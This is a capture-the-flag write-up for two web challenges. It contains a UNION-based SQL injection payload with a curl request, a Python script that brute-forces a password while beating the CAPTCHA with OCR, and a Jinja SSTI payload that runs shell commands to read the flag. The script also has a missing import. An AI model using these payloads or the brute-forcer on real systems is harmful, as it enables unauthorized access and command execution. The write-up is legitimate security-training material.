BBCTF 2025

[Forensics]

[Web]

SQLI Series - 1

Goals

Exploit a SQL injection vulnerability to extract the flag from a database.

Solution

Identify the vulnerability in the search function where user input is directly inserted into SQL query:
```
1
query = f"SELECT * FROM products WHERE name LIKE '%{search_term}%'"
```
Craft a payload to escape the string and use UNION-based injection:
```
1
' UNION SELECT 1, flag_value FROM flag --
```

Send request with required User-Agent header to bypass authentication check:

curl -X POST http://target-url/ \
  -H "User-Agent: UMCS-CTF" \
  -d "search=' UNION SELECT 1, flag_value FROM flag -- "

Final Result

Flag: BBCTF{sql_inj3ct10n_101}

Sekure Notes

Goals

Bruteforce out the password for login. Using SSTI to read the flag.

Solution

First we download the file given by the challenge.
In the source code, we can see that the user is admin and the password needed to be bruteforced using rockyou.txt given hint in the challenge.
We can use this script to bruteforce the password:

1
import requests
2
from PIL import Image
3
import io
4
import pytesseract
5
import time
6
import os
7

8
# Configuration
9
TARGET_URL = "http://localhost:7999/"  # Change this to your target URL
10
WORDLIST_PATH = "rockyou.txt"  # Path to your wordlist
11
ADMIN_USERNAME = "admin"
12
THROTTLE_DELAY = 0.1  # Delay between attempts to avoid rate limiting
13
MAX_ATTEMPTS = None  # Set to None for unlimited or a number to limit attempts
14

15
def solve_captcha(session):
16
    """Attempt to solve the CAPTCHA using OCR with retries"""
17
    for _ in range(3):  # Try up to 3 times
18
        try:
19
            # Get the CAPTCHA image
20
            captcha_response = session.get(f"{TARGET_URL}captcha?{int(time.time())}")
21
            captcha_image = Image.open(io.BytesIO(captcha_response.content))
22

23
            # Preprocess image to improve OCR accuracy
24
            captcha_image = captcha_image.convert('L')  # Grayscale
25
            captcha_image = captcha_image.point(lambda x: 0 if x < 128 else 255, '1')  # Binarize
26

27
            # Use Tesseract OCR with custom configuration
28
            custom_config = r'--oem 3 --psm 8 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
29
            captcha_text = pytesseract.image_to_string(captcha_image, config=custom_config).strip()
30

31
            # Validate the OCR result
32
            if len(captcha_text) == 5 and captcha_text.isalnum():
33
                return captcha_text.upper()
34

35
        except Exception as e:
36
            print(f"[-] CAPTCHA solving error: {e}")
37

38
    # If OCR fails after retries, generate a random string (fallback)
39
    fallback = ''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=5))
40
    print(f"[-] OCR failed, using fallback CAPTCHA: {fallback}")
41
    return fallback
42

43
def attempt_login(session, password):
44
    """Attempt to login with given password"""
45
    captcha_text = solve_captcha(session)
46

47
    login_data = {
48
        'username': ADMIN_USERNAME,
49
        'password': password,
50
        'captcha': captcha_text
51
    }
52

53
    response = session.post(TARGET_URL, data=login_data, allow_redirects=True)
54
    return "/admin/notes" in response.url
55

56
def exploit_ssti(session, command):
57
    """Exploit the SSTI vulnerability to execute commands"""
58
    payload = f"{{{{ config.__class__.__init__.__globals__['os'].popen('{command}').read() }}}}"
59
    response = session.post(f"{TARGET_URL}admin/notes", data={'note': payload})
60

61
    # Extract the result from the response
62
    start_marker = '<div style="margin-top: 1rem;">'
63
    end_marker = '</div>'
64
    try:
65
        result = response.text.split(start_marker)[1].split(end_marker)[0]
66
        return result.strip()
67
    except:
68
        return "Failed to extract result"
69

70
def brute_force():
71
    """Main brute force function"""
72
    print(f"[*] Starting brute force attack on {TARGET_URL}")
73
    print(f"[*] Using wordlist: {WORDLIST_PATH}")
74

75
    # Check if wordlist exists
76
    if not os.path.exists(WORDLIST_PATH):
77
        print(f"[-] Error: Wordlist not found at {WORDLIST_PATH}")
78
        return
79

80
    # Initialize counters
81
    attempts = 0
82
    start_time = time.time()
83
    session = requests.Session()
84

85
    with open(WORDLIST_PATH, 'r', errors='ignore') as f:
86
        for line in f:
87
            password = line.strip()
88
            if not password:
89
                continue
90

91
            attempts += 1
92
            if MAX_ATTEMPTS and attempts > MAX_ATTEMPTS:
93
                print(f"[*] Reached max attempts ({MAX_ATTEMPTS}), stopping.")
94
                break
95

96
            # Print progress every 10 attempts
97
            if attempts % 10 == 0:
98
                elapsed = time.time() - start_time
99
                rate = attempts / elapsed
100
                print(f"[*] Attempt {attempts}: Trying '{password}' | Rate: {rate:.2f} attempts/sec")
101

102
            try:
103
                if attempt_login(session, password):
104
                    print(f"\n[+] SUCCESS! Found credentials: {ADMIN_USERNAME}:{password}")
105
                    print(f"[*] Found in {attempts} attempts ({time.time() - start_time:.2f} seconds)")
106

107
                    # Now exploit the SSTI vulnerability
108
                    print("\n[+] Exploiting SSTI vulnerability...")
109

110
                    # Test command execution
111
                    print("[*] Testing command execution with 'id':")
112
                    print(exploit_ssti(session, "id"))
113

114
                    # Search for flag
115
                    print("\n[*] Searching for flag...")
116
                    common_flag_locations = [
117
                        "/flag", "/flag.txt", "/app/flag", "/app/flag.txt",
118
                        "/home/flag", "/home/flag.txt", "/root/flag",
119
                        "/root/flag.txt", "/var/www/flag", "/var/www/flag.txt"
120
                    ]
121

122
                    for location in common_flag_locations:
123
                        result = exploit_ssti(session, f"cat {location} 2>/dev/null")
124
                        if result and "No such file" not in result:
125
                            print(f"\n[+] FLAG FOUND at {location}:")
126
                            print(result)
127
                            return
128

129
                    # If not found, try to find it
130
                    print("\n[+] Flag not found in common locations. Searching filesystem...")
131
                    find_result = exploit_ssti(session, "find / -name '*flag*' 2>/dev/null")
132
                    print("Potential flag locations:")
133
                    print(find_result)
134

135
                    return
136

137
            except Exception as e:
138
                print(f"[-] Error during attempt {attempts}: {e}")
139
                session = requests.Session()  # Reset session on error
140

141
            time.sleep(THROTTLE_DELAY)
142

143
    print("\n[-] Brute force completed. Password not found in wordlist.")
144

145
if __name__ == "__main__":
146
    # Check if pytesseract is available
147
    try:
148
        pytesseract.get_tesseract_version()
149
    except:
150
        print("[-] Error: Tesseract OCR is not installed or not in PATH")
151
        print("[*] On Ubuntu/Debian, install with: sudo apt install tesseract-ocr")
152
        print("[*] On macOS, install with: brew install tesseract")
153
        exit(1)
154

155
    brute_force()

well it is abit long for the script haha not the correct way as abit too long xd only login works shhhh 4. Run the script and it will bruteforce the password. We will get the password as peaches. 5. Now we can login to the website using the password. 6. Well in the page, we still need to insert something to read the flag. 7. We can use the following SSTI payload to read the flag:

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}

8. Just choose one of them to read the flag.

Final Result

Flag: BBCTF{c4ptcha_4nd_sst1_m4st3r!}